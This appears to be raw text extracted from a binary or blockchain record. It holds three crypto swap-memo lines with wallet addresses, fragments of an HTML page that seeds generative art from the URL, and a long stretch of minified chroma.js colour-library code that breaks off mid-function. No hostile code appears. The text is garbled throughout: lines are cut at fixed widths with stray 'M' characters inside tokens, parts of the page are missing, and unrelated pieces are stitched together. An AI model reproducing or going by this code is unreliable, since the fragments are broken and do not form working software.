Aj?=:ETH.ETH:0xd657F98a6e711d8a7f678E9aDF61b937a33A489E:1910914::0
EjC=:BNB.BTCB-1DE:bnb1uvqrulvevduf0z22gf6m9py7d25pnhppj6q0se:789326::0
DjB=:BNB.BNB:bnb1udyqg067wr27pdnteparr3cvy365hmc6aa6z5k:52826144:te:0
text/html;charset=utf-8
      display: block;
    <meta charset="utf-8" />
    let seed=window.location.href.split('/').find(t=>t.includes('i0'));
    if (seed == null) {
      seed = new URLSearchParams(window.location.search).get("seed");
      let pattern = "seed=";
      for(let i = 0; i < seed.length - pattern.length; M
        if (seed.substring(i, i + pattern.length) == pattern) {
          seed = seed.substring(i + pattern.length);
    function cyrb128($) {
      let _ = 1779033703, u = 3144134277, i = 1013904242, l = 2773480762;
      for (let n = 0, r; n < $.length; n++) _ = u ^ Math.imul(_ ^ (r = $.charCodeAt(n)), 597399067), u = i ^ Math.imul(u ^ r, 2869860233), i = l ^ Math.imul(i ^ r, 951274213), l = _ ^ Math.imul(l ^ r, 2716044179);
      return _ = Math.imul(i ^ _ >>> 18,M
 597399067), u = Math.imul(l ^ u >>> 22, 2869860233), i = Math.imul(_ ^ i >>> 17, 951274213), l = Math.imul(u ^ l >>> 19, 2716044179), [(_ ^ u ^ i ^ l) >>> 0, (u ^ _) >>> 0, (i ^ _) >>> 0, (l ^ _) >>> 0]
    function sfc32($, _, u, i) {
      return function () {
        u >>>= 0, i >>>= 0;
        var l = ($ >>>= 0) + (_ >>>= 0) | 0;
        return $ = _ ^ _ >>> 9, _ = u + (u << 3) | 0, u = (u = u << 21 | u >>> 11) + (l = l + (i = i + 1 | 0) | 0) | 0, (l >>> 0) / 4294967296
 sfc32(...cyrb128(seed));
    let p5seed = Math.floor(mathRand() * Number.MAX_SAFE_INTEGER);
!function(r,e){"object"==typeof exports&&"undefined"!=typeof module?module.exports=e():"function"==typeof define&&define.amd?define(e):(r="undefined"!=typeof globalThis?globalThis:r||self).chroma=e()}(this,function(){"use strict";for(var r=function(r,e,t){return void 0===e&&(e=0),void 0===t&&(t=1),r<e?e:r>t?t:r},e=r,t={},n=0,a=["Boolean","Number","String","Function","Array","Date","RegExp","Undefined","Null"];n<a.length;nM
+=1){var f=a[n];t["[object "+f+"]"]=f.toLowerCase()}var o=function(r){return t[Object.prototype.toString.call(r)]||"object"},c=o,u=o,i=Math.PI,l={clip_rgb:function(r){r._clipped=!1,r._unclipped=r.slice(0);for(var t=0;t<=3;t++)t<3?((r[t]<0||r[t]>255)&&(r._clipped=!0),r[t]=e(r[t],0,255)):3===t&&(r[t]=e(r[t],0,1));return r},limit:r,type:o,unpack:function(r,e){return void 0===e&&(e=null),r.length>=3?Array.prototype.slice.call(r):"object"==c(r[0])&&e?e.split("").filter(function(e){return void 0!==r[0][e]}).map(function(M
e){return r[0][e]}):r[0]},last:function(r){if(r.length<2)return null;var e=r.length-1;return"string"==u(r[e])?r[e].toLowerCase():null},PI:i,TWOPI:2*i,PITHIRD:i/3,DEG2RAD:i/180,RAD2DEG:180/i},d={format:{},autodetect:[]},h=l.last,b=l.clip_rgb,s=l.type,p=d,g=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if("object"===s(r[0])&&r[0].constructor&&r[0].constructor===this.constructor)return r[0];var t=h(r),n=!1;if(!t){n=!0,p.sorted||(p.autodetect=p.autodetect.sort(function(r,e){return e.p-r.p}),p.sortedM
=!0);for(var a=0,f=p.autodetect;a<f.length;a+=1){var o=f[a];if(t=o.test.apply(o,r))break}}if(!p.format[t])throw new Error("unknown format: "+r);var c=p.format[t].apply(null,n?r:r.slice(0,-1));this._rgb=b(c),3===this._rgb.length&&this._rgb.push(1)};g.prototype.toString=function(){return"function"==s(this.hex)?this.hex():"["+this._rgb.join(",")+"]"};var v=g,y=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(y.Color,[null].concat(r)))};y.Color=v,y.version="2.4.M
2";var m=y,k=l.unpack,w=Math.max,M=l.unpack,_=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=(r=M(r,"cmyk"))[0],n=r[1],a=r[2],f=r[3],o=r.length>4?r[4]:1;return 1===f?[0,0,0,o]:[t>=1?0:255*(1-t)*(1-f),n>=1?0:255*(1-n)*(1-f),a>=1?0:255*(1-a)*(1-f),o]},N=m,F=v,x=d,P=l.unpack,R=l.type,G=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=k(r,"rgb"),n=t[0],a=t[1],f=t[2],o=1-w(n/=255,w(a/=255,f/=255)),c=o<1?1/(1-o):0;return[(1-n-o)*c,(1-a-o)*c,(1-f-o)*c,o]};F.prototype.cmyk=fuM
nction(){return G(this._rgb)},N.cmyk=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(F,[null].concat(r,["cmyk"])))},x.format.cmyk=_,x.autodetect.push({p:2,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=P(r,"cmyk"),"array"===R(r)&&4===r.length)return"cmyk"}});var j=l.unpack,E=l.last,O=function(r){return Math.round(100*r)/100},q=l.unpack,B=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=(r=q(r,"rgba"))[0],nM
=r[1],a=r[2];t/=255,n/=255,a/=255;var f,o,c=Math.min(t,n,a),u=Math.max(t,n,a),i=(u+c)/2;return u===c?(f=0,o=Number.NaN):f=i<.5?(u-c)/(u+c):(u-c)/(2-u-c),t==u?o=(n-a)/(u-c):n==u?o=2+(a-t)/(u-c):a==u&&(o=4+(t-n)/(u-c)),(o*=60)<0&&(o+=360),r.length>3&&void 0!==r[3]?[o,f,i,r[3]]:[o,f,i]},I=l.unpack,A=l.last,D=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=j(r,"hsla"),n=E(r)||"lsa";return t[0]=O(t[0]||0),t[1]=O(100*t[1])+"%",t[2]=O(100*t[2])+"%","hsla"===n||t.length>3&&t[3]<1?(t[3]=t.length>3?t[M
3]:1,n="hsla"):t.length=3,n+"("+t.join(",")+")"},C=B,Y=Math.round,S=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=I(r,"rgba"),n=A(r)||"rgb";return"hsl"==n.substr(0,3)?D(C(t),n):(t[0]=Y(t[0]),t[1]=Y(t[1]),t[2]=Y(t[2]),("rgba"===n||t.length>3&&t[3]<1)&&(t[3]=t.length>3?t[3]:1,n="rgba"),n+"("+t.slice(0,"rgb"===n?3:4).join(",")+")")},L=l.unpack,$=Math.round,T=function(){for(var r,e=[],t=arguments.length;t--;)e[t]=arguments[t];var n,a,f,o=(e=L(e,"hsl"))[0],c=e[1],u=e[2];if(0===c)n=a=f=255*u;elsM
e{var i=[0,0,0],l=[0,0,0],d=u<.5?u*(1+c):u+c-u*c,h=2*u-d,b=o/360;i[0]=b+1/3,i[1]=b,i[2]=b-1/3;for(var s=0;s<3;s++)i[s]<0&&(i[s]+=1),i[s]>1&&(i[s]-=1),6*i[s]<1?l[s]=h+6*(d-h)*i[s]:2*i[s]<1?l[s]=d:3*i[s]<2?l[s]=h+(d-h)*(2/3-i[s])*6:l[s]=h;n=(r=[$(255*l[0]),$(255*l[1]),$(255*l[2])])[0],a=r[1],f=r[2]}return e.length>3?[n,a,f,e[3]]:[n,a,f,1]},K=T,W=d,X=/^rgb\(\s*(-?\d+),\s*(-?\d+)\s*,\s*(-?\d+)\s*\)$/,Z=/^rgba\(\s*(-?\d+),\s*(-?\d+)\s*,\s*(-?\d+)\s*,\s*([01]|[01]?\.\d+)\)$/,H=/^rgb\(\s*(-?\d+(?:\.\d+)?)%,\s*(-?\d+(?:\.\M
d+)?)%\s*,\s*(-?\d+(?:\.\d+)?)%\s*\)$/,z=/^rgba\(\s*(-?\d+(?:\.\d+)?)%,\s*(-?\d+(?:\.\d+)?)%\s*,\s*(-?\d+(?:\.\d+)?)%\s*,\s*([01]|[01]?\.\d+)\)$/,U=/^hsl\(\s*(-?\d+(?:\.\d+)?),\s*(-?\d+(?:\.\d+)?)%\s*,\s*(-?\d+(?:\.\d+)?)%\s*\)$/,V=/^hsla\(\s*(-?\d+(?:\.\d+)?),\s*(-?\d+(?:\.\d+)?)%\s*,\s*(-?\d+(?:\.\d+)?)%\s*,\s*([01]|[01]?\.\d+)\)$/,J=Math.round,Q=function(r){var e;if(r=r.toLowerCase().trim(),W.format.named)try{return W.format.named(r)}catch(r){}if(e=r.match(X)){for(var t=e.slice(1,4),n=0;n<3;n++)t[n]=+t[n];returnM
 t[3]=1,t}if(e=r.match(Z)){for(var a=e.slice(1,5),f=0;f<4;f++)a[f]=+a[f];return a}if(e=r.match(H)){for(var o=e.slice(1,4),c=0;c<3;c++)o[c]=J(2.55*o[c]);return o[3]=1,o}if(e=r.match(z)){for(var u=e.slice(1,5),i=0;i<3;i++)u[i]=J(2.55*u[i]);return u[3]=+u[3],u}if(e=r.match(U)){var l=e.slice(1,4);l[1]*=.01,l[2]*=.01;var d=K(l);return d[3]=1,d}if(e=r.match(V)){var h=e.slice(1,4);h[1]*=.01,h[2]*=.01;var b=K(h);return b[3]=+e[4],b}};Q.test=function(r){return X.test(r)||Z.test(r)||H.test(r)||z.test(r)||U.test(r)||V.test(r)M
};var rr=m,er=v,tr=d,nr=l.type,ar=S,fr=Q;er.prototype.css=function(r){return ar(this._rgb,r)},rr.css=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(er,[null].concat(r,["css"])))},tr.format.css=fr,tr.autodetect.push({p:5,test:function(r){for(var e=[],t=arguments.length-1;t-- >0;)e[t]=arguments[t+1];if(!e.length&&"string"===nr(r)&&fr.test(r))return"css"}});var or=v,cr=m,ur=l.unpack;d.format.gl=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e]M
;var t=ur(r,"rgba");return t[0]*=255,t[1]*=255,t[2]*=255,t},cr.gl=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(or,[null].concat(r,["gl"])))},or.prototype.gl=function(){var r=this._rgb;return[r[0]/255,r[1]/255,r[2]/255,r[3]]};var ir=l.unpack,lr=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t,n=ir(r,"rgb"),a=n[0],f=n[1],o=n[2],c=Math.min(a,f,o),u=Math.max(a,f,o),i=u-c,l=100*i/255,d=c/(255-i)*100;return 0===i?t=Number.NaN:(a===u&&(t=M
(f-o)/i),f===u&&(t=2+(o-a)/i),o===u&&(t=4+(a-f)/i),(t*=60)<0&&(t+=360)),[t,l,d]},dr=l.unpack,hr=Math.floor,br=function(){for(var r,e,t,n,a,f,o=[],c=arguments.length;c--;)o[c]=arguments[c];var u,i,l,d=(o=dr(o,"hcg"))[0],h=o[1],b=o[2];b*=255;var s=255*h;if(0===h)u=i=l=b;else{360===d&&(d=0),d>360&&(d-=360),d<0&&(d+=360);var p=hr(d/=60),g=d-p,v=b*(1-h),y=v+s*(1-g),m=v+s*g,k=v+s;switch(p){case 0:u=(r=[k,m,v])[0],i=r[1],l=r[2];break;case 1:u=(e=[y,k,v])[0],i=e[1],l=e[2];break;case 2:u=(t=[v,k,m])[0],i=t[1],l=t[2];break;cM
ase 3:u=(n=[v,y,k])[0],i=n[1],l=n[2];break;case 4:u=(a=[m,v,k])[0],i=a[1],l=a[2];break;case 5:u=(f=[k,v,y])[0],i=f[1],l=f[2]}}return[u,i,l,o.length>3?o[3]:1]},sr=l.unpack,pr=l.type,gr=m,vr=v,yr=d,mr=lr;vr.prototype.hcg=function(){return mr(this._rgb)},gr.hcg=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(vr,[null].concat(r,["hcg"])))},yr.format.hcg=br,yr.autodetect.push({p:1,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=sr(r,"M
hcg"),"array"===pr(r)&&3===r.length)return"hcg"}});var kr=l.unpack,wr=l.last,Mr=Math.round,_r=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=kr(r,"rgba"),n=t[0],a=t[1],f=t[2],o=t[3],c=wr(r)||"auto";void 0===o&&(o=1),"auto"===c&&(c=o<1?"rgba":"rgb");var u="000000"+((n=Mr(n))<<16|(a=Mr(a))<<8|(f=Mr(f))).toString(16);u=u.substr(u.length-6);var i="0"+Mr(255*o).toString(16);switch(i=i.substr(i.length-2),c.toLowerCase()){case"rgba":return"#"+u+i;case"argb":return"#"+i+u;default:return"#"+u}},Nr=/M
^#?([A-Fa-f0-9]{6}|[A-Fa-f0-9]{3})$/,Fr=/^#?([A-Fa-f0-9]{8}|[A-Fa-f0-9]{4})$/,xr=function(r){if(r.match(Nr)){4!==r.length&&7!==r.length||(r=r.substr(1)),3===r.length&&(r=(r=r.split(""))[0]+r[0]+r[1]+r[1]+r[2]+r[2]);var e=parseInt(r,16);return[e>>16,e>>8&255,255&e,1]}if(r.match(Fr)){5!==r.length&&9!==r.length||(r=r.substr(1)),4===r.length&&(r=(r=r.split(""))[0]+r[0]+r[1]+r[1]+r[2]+r[2]+r[3]+r[3]);var t=parseInt(r,16);return[t>>24&255,t>>16&255,t>>8&255,Math.round((255&t)/255*100)/100]}throw new Error("unknown hex coM
lor: "+r)},Pr=m,Rr=v,Gr=l.type,jr=d,Er=_r;Rr.prototype.hex=function(r){return Er(this._rgb,r)},Pr.hex=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(Rr,[null].concat(r,["hex"])))},jr.format.hex=xr,jr.autodetect.push({p:4,test:function(r){for(var e=[],t=arguments.length-1;t-- >0;)e[t]=arguments[t+1];if(!e.length&&"string"===Gr(r)&&[3,4,5,6,7,8,9].indexOf(r.length)>=0)return"hex"}});var Or=l.unpack,qr=l.TWOPI,Br=Math.min,Ir=Math.sqrt,Ar=Math.acos,Dr=functionM
(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t,n=Or(r,"rgb"),a=n[0],f=n[1],o=n[2],c=Br(a/=255,f/=255,o/=255),u=(a+f+o)/3,i=u>0?1-c/u:0;return 0===i?t=NaN:(t=(a-f+(a-o))/2,t/=Ir((a-f)*(a-f)+(a-o)*(f-o)),t=Ar(t),o>f&&(t=qr-t),t/=qr),[360*t,i,u]},Cr=l.unpack,Yr=l.limit,Sr=l.TWOPI,Lr=l.PITHIRD,$r=Math.cos,Tr=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t,n,a,f=(r=Cr(r,"hsi"))[0],o=r[1],c=r[2];return isNaN(f)&&(f=0),isNaN(o)&&(o=0),f>360&&(f-=360),f<0&&(f+=360),(f/=360)<1/3?n=1-M
((a=(1-o)/3)+(t=(1+o*$r(Sr*f)/$r(Lr-Sr*f))/3)):f<2/3?a=1-((t=(1-o)/3)+(n=(1+o*$r(Sr*(f-=1/3))/$r(Lr-Sr*f))/3)):t=1-((n=(1-o)/3)+(a=(1+o*$r(Sr*(f-=2/3))/$r(Lr-Sr*f))/3)),[255*(t=Yr(c*t*3)),255*(n=Yr(c*n*3)),255*(a=Yr(c*a*3)),r.length>3?r[3]:1]},Kr=l.unpack,Wr=l.type,Xr=m,Zr=v,Hr=d,zr=Dr;Zr.prototype.hsi=function(){return zr(this._rgb)},Xr.hsi=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(Zr,[null].concat(r,["hsi"])))},Hr.format.hsi=Tr,Hr.autodetect.push({pM
:2,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=Kr(r,"hsi"),"array"===Wr(r)&&3===r.length)return"hsi"}});var Ur=l.unpack,Vr=l.type,Jr=m,Qr=v,re=d,ee=B;Qr.prototype.hsl=function(){return ee(this._rgb)},Jr.hsl=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(Qr,[null].concat(r,["hsl"])))},re.format.hsl=T,re.autodetect.push({p:2,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=Ur(r,"hsl"),"array"===Vr(r)M
&&3===r.length)return"hsl"}});var te=l.unpack,ne=Math.min,ae=Math.max,fe=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t,n,a,f=(r=te(r,"rgb"))[0],o=r[1],c=r[2],u=ne(f,o,c),i=ae(f,o,c),l=i-u;return a=i/255,0===i?(t=Number.NaN,n=0):(n=l/i,f===i&&(t=(o-c)/l),o===i&&(t=2+(c-f)/l),c===i&&(t=4+(f-o)/l),(t*=60)<0&&(t+=360)),[t,n,a]},oe=l.unpack,ce=Math.floor,ue=function(){for(var r,e,t,n,a,f,o=[],c=arguments.length;c--;)o[c]=arguments[c];var u,i,l,d=(o=oe(o,"hsv"))[0],h=o[1],b=o[2];if(b*=255,0===h)M
u=i=l=b;else{360===d&&(d=0),d>360&&(d-=360),d<0&&(d+=360);var s=ce(d/=60),p=d-s,g=b*(1-h),v=b*(1-h*p),y=b*(1-h*(1-p));switch(s){case 0:u=(r=[b,y,g])[0],i=r[1],l=r[2];break;case 1:u=(e=[v,b,g])[0],i=e[1],l=e[2];break;case 2:u=(t=[g,b,y])[0],i=t[1],l=t[2];break;case 3:u=(n=[g,v,b])[0],i=n[1],l=n[2];break;case 4:u=(a=[y,g,b])[0],i=a[1],l=a[2];break;case 5:u=(f=[b,g,v])[0],i=f[1],l=f[2]}}return[u,i,l,o.length>3?o[3]:1]},ie=l.unpack,le=l.type,de=m,he=v,be=d,se=fe;he.prototype.hsv=function(){return se(this._rgb)},de.hsv=M
function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(he,[null].concat(r,["hsv"])))},be.format.hsv=ue,be.autodetect.push({p:2,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=ie(r,"hsv"),"array"===le(r)&&3===r.length)return"hsv"}});var pe={Kn:18,Xn:.95047,Yn:1,Zn:1.08883,t0:.137931034,t1:.206896552,t2:.12841855,t3:.008856452},ge=pe,ve=l.unpack,ye=Math.pow,me=function(r){return(r/=255)<=.04045?r/12.92:ye((r+.055)/1.055,2.4)},ke=function(M
r){return r>ge.t3?ye(r,1/3):r/ge.t2+ge.t0},we=function(r,e,t){return r=me(r),e=me(e),t=me(t),[ke((.4124564*r+.3575761*e+.1804375*t)/ge.Xn),ke((.2126729*r+.7151522*e+.072175*t)/ge.Yn),ke((.0193339*r+.119192*e+.9503041*t)/ge.Zn)]},Me=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=ve(r,"rgb"),n=t[0],a=t[1],f=t[2],o=we(n,a,f),c=o[0],u=o[1],i=116*u-16;return[i<0?0:i,500*(c-u),200*(u-o[2])]},_e=pe,Ne=l.unpack,Fe=Math.pow,xe=function(r){return 255*(r<=.00304?12.92*r:1.055*Fe(r,1/2.4)-.055)},Pe=funM
ction(r){return r>_e.t1?r*r*r:_e.t2*(r-_e.t0)},Re=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t,n,a,f=(r=Ne(r,"lab"))[0],o=r[1],c=r[2];return n=(f+16)/116,t=isNaN(o)?n:n+o/500,a=isNaN(c)?n:n-c/200,n=_e.Yn*Pe(n),t=_e.Xn*Pe(t),a=_e.Zn*Pe(a),[xe(3.2404542*t-1.5371385*n-.4985314*a),xe(-.969266*t+1.8760108*n+.041556*a),xe(.0556434*t-.2040259*n+1.0572252*a),r.length>3?r[3]:1]},Ge=l.unpack,je=l.type,Ee=m,Oe=v,qe=d,Be=Me;Oe.prototype.lab=function(){return Be(this._rgb)},Ee.lab=function(){for(var rM
=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(Oe,[null].concat(r,["lab"])))},qe.format.lab=Re,qe.autodetect.push({p:2,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=Ge(r,"lab"),"array"===je(r)&&3===r.length)return"lab"}});var Ie=l.unpack,Ae=l.RAD2DEG,De=Math.sqrt,Ce=Math.atan2,Ye=Math.round,Se=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=Ie(r,"lab"),n=t[0],a=t[1],f=t[2],o=De(a*a+f*f),c=(Ce(f,a)*Ae+360)%360;return 0===YeM
(1e4*o)&&(c=Number.NaN),[n,o,c]},Le=l.unpack,$e=Me,Te=Se,Ke=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=Le(r,"rgb"),n=t[0],a=t[1],f=t[2],o=$e(n,a,f),c=o[0],u=o[1],i=o[2];return Te(c,u,i)},We=l.unpack,Xe=l.DEG2RAD,Ze=Math.sin,He=Math.cos,ze=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=We(r,"lch"),n=t[0],a=t[1],f=t[2];return isNaN(f)&&(f=0),[n,He(f*=Xe)*a,Ze(f)*a]},Ue=l.unpack,Ve=ze,Je=Re,Qe=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=M
(r=Ue(r,"lch"))[0],n=r[1],a=r[2],f=Ve(t,n,a),o=f[0],c=f[1],u=f[2],i=Je(o,c,u);return[i[0],i[1],i[2],r.length>3?r[3]:1]},rt=l.unpack,et=Qe,tt=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=rt(r,"hcl").reverse();return et.apply(void 0,t)},nt=l.unpack,at=l.type,ft=m,ot=v,ct=d,ut=Ke;ot.prototype.lch=function(){return ut(this._rgb)},ot.prototype.hcl=function(){return ut(this._rgb).reverse()},ft.lch=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.biM
nd.apply(ot,[null].concat(r,["lch"])))},ft.hcl=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(ot,[null].concat(r,["hcl"])))},ct.format.lch=Qe,ct.format.hcl=tt,["lch","hcl"].forEach(function(r){return ct.autodetect.push({p:2,test:function(){for(var e=[],t=arguments.length;t--;)e[t]=arguments[t];if(e=nt(e,r),"array"===at(e)&&3===e.length)return r}})});var it=d,lt=l.type,dt={aliceblue:"#f0f8ff",antiquewhite:"#faebd7",aqua:"#00ffff",aquamarine:"#7fffd4",azure:M
"#f0ffff",beige:"#f5f5dc",bisque:"#ffe4c4",black:"#000000",blanchedalmond:"#ffebcd",blue:"#0000ff",blueviolet:"#8a2be2",brown:"#a52a2a",burlywood:"#deb887",cadetblue:"#5f9ea0",chartreuse:"#7fff00",chocolate:"#d2691e",coral:"#ff7f50",cornflower:"#6495ed",cornflowerblue:"#6495ed",cornsilk:"#fff8dc",crimson:"#dc143c",cyan:"#00ffff",darkblue:"#00008b",darkcyan:"#008b8b",darkgoldenrod:"#b8860b",darkgray:"#a9a9a9",darkgreen:"#006400",darkgrey:"#a9a9a9",darkkhaki:"#bdb76b",darkmagenta:"#8b008b",darkolivegreen:"#556b2f",daM
rkorange:"#ff8c00",darkorchid:"#9932cc",darkred:"#8b0000",darksalmon:"#e9967a",darkseagreen:"#8fbc8f",darkslateblue:"#483d8b",darkslategray:"#2f4f4f",darkslategrey:"#2f4f4f",darkturquoise:"#00ced1",darkviolet:"#9400d3",deeppink:"#ff1493",deepskyblue:"#00bfff",dimgray:"#696969",dimgrey:"#696969",dodgerblue:"#1e90ff",firebrick:"#b22222",floralwhite:"#fffaf0",forestgreen:"#228b22",fuchsia:"#ff00ff",gainsboro:"#dcdcdc",ghostwhite:"#f8f8ff",gold:"#ffd700",goldenrod:"#daa520",gray:"#808080",green:"#008000",greenyellow:"#M
adff2f",grey:"#808080",honeydew:"#f0fff0",hotpink:"#ff69b4",indianred:"#cd5c5c",indigo:"#4b0082",ivory:"#fffff0",khaki:"#f0e68c",laserlemon:"#ffff54",lavender:"#e6e6fa",lavenderblush:"#fff0f5",lawngreen:"#7cfc00",lemonchiffon:"#fffacd",lightblue:"#add8e6",lightcoral:"#f08080",lightcyan:"#e0ffff",lightgoldenrod:"#fafad2",lightgoldenrodyellow:"#fafad2",lightgray:"#d3d3d3",lightgreen:"#90ee90",lightgrey:"#d3d3d3",lightpink:"#ffb6c1",lightsalmon:"#ffa07a",lightseagreen:"#20b2aa",lightskyblue:"#87cefa",lightslategray:"#M
778899",lightslategrey:"#778899",lightsteelblue:"#b0c4de",lightyellow:"#ffffe0",lime:"#00ff00",limegreen:"#32cd32",linen:"#faf0e6",magenta:"#ff00ff",maroon:"#800000",maroon2:"#7f0000",maroon3:"#b03060",mediumaquamarine:"#66cdaa",mediumblue:"#0000cd",mediumorchid:"#ba55d3",mediumpurple:"#9370db",mediumseagreen:"#3cb371",mediumslateblue:"#7b68ee",mediumspringgreen:"#00fa9a",mediumturquoise:"#48d1cc",mediumvioletred:"#c71585",midnightblue:"#191970",mintcream:"#f5fffa",mistyrose:"#ffe4e1",moccasin:"#ffe4b5",navajowhiteM
:"#ffdead",navy:"#000080",oldlace:"#fdf5e6",olive:"#808000",olivedrab:"#6b8e23",orange:"#ffa500",orangered:"#ff4500",orchid:"#da70d6",palegoldenrod:"#eee8aa",palegreen:"#98fb98",paleturquoise:"#afeeee",palevioletred:"#db7093",papayawhip:"#ffefd5",peachpuff:"#ffdab9",peru:"#cd853f",pink:"#ffc0cb",plum:"#dda0dd",powderblue:"#b0e0e6",purple:"#800080",purple2:"#7f007f",purple3:"#a020f0",rebeccapurple:"#663399",red:"#ff0000",rosybrown:"#bc8f8f",royalblue:"#4169e1",saddlebrown:"#8b4513",salmon:"#fa8072",sandybrown:"#f4a4M
60",seagreen:"#2e8b57",seashell:"#fff5ee",sienna:"#a0522d",silver:"#c0c0c0",skyblue:"#87ceeb",slateblue:"#6a5acd",slategray:"#708090",slategrey:"#708090",snow:"#fffafa",springgreen:"#00ff7f",steelblue:"#4682b4",tan:"#d2b48c",teal:"#008080",thistle:"#d8bfd8",tomato:"#ff6347",turquoise:"#40e0d0",violet:"#ee82ee",wheat:"#f5deb3",white:"#ffffff",whitesmoke:"#f5f5f5",yellow:"#ffff00",yellowgreen:"#9acd32"},ht=xr,bt=_r;v.prototype.name=function(){for(var r=bt(this._rgb,"rgb"),e=0,t=Object.keys(dt);e<t.length;e+=1){var n=M
t[e];if(dt[n]===r)return n.toLowerCase()}return r},it.format.named=function(r){if(r=r.toLowerCase(),dt[r])return ht(dt[r]);throw new Error("unknown color name: "+r)},it.autodetect.push({p:5,test:function(r){for(var e=[],t=arguments.length-1;t-- >0;)e[t]=arguments[t+1];if(!e.length&&"string"===lt(r)&&dt[r.toLowerCase()])return"named"}});var st=l.unpack,pt=l.type,gt=function(r){if("number"==pt(r)&&r>=0&&r<=16777215)return[r>>16,r>>8&255,255&r,1];throw new Error("unknown num color: "+r)},vt=m,yt=v,mt=d,kt=l.type,wt=fuM
nction(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=st(r,"rgb");return(t[0]<<16)+(t[1]<<8)+t[2]};yt.prototype.num=function(){return wt(this._rgb)},vt.num=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(yt,[null].concat(r,["num"])))},mt.format.num=gt,mt.autodetect.push({p:5,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(1===r.length&&"number"===kt(r[0])&&r[0]>=0&&r[0]<=16777215)return"num"}});var Mt=m,_t=v,Nt=d,FtM
=l.unpack,xt=l.type,Pt=Math.round;_t.prototype.rgb=function(r){return void 0===r&&(r=!0),!1===r?this._rgb.slice(0,3):this._rgb.slice(0,3).map(Pt)},_t.prototype.rgba=function(r){return void 0===r&&(r=!0),this._rgb.slice(0,4).map(function(e,t){return t<3?!1===r?e:Pt(e):e})},Mt.rgb=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(_t,[null].concat(r,["rgb"])))},Nt.format.rgb=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=Ft(r,"rgba");retM
urn void 0===t[3]&&(t[3]=1),t},Nt.autodetect.push({p:3,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=Ft(r,"rgba"),"array"===xt(r)&&(3===r.length||4===r.length&&"number"==xt(r[3])&&r[3]>=0&&r[3]<=1))return"rgb"}});var Rt=Math.log,Gt=function(r){var e,t,n,a=r/100;return a<66?(e=255,t=a<6?0:-155.25485562709179-.44596950469579133*(t=a-2)+104.49216199393888*Rt(t),n=a<20?0:.8274096064007395*(n=a-10)-254.76935184120902+115.67994401066147*Rt(n)):(e=351.97690566805693+.114206453784165*(e=a-55)-M
40.25366309332127*Rt(e),t=325.4494125711974+.07943456536662342*(t=a-50)-28.0852963507957*Rt(t),n=255),[e,t,n,1]},jt=Gt,Et=l.unpack,Ot=Math.round,qt=m,Bt=v,It=d,At=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];for(var t,n=Et(r,"rgb"),a=n[0],f=n[2],o=1e3,c=4e4;c-o>.4;){var u=jt(t=.5*(c+o));u[2]/u[0]>=f/a?c=t:o=t}return Ot(t)};Bt.prototype.temp=Bt.prototype.kelvin=Bt.prototype.temperature=function(){return At(this._rgb)},qt.temp=qt.kelvin=qt.temperature=function(){for(var r=[],e=arguments.length;e-M
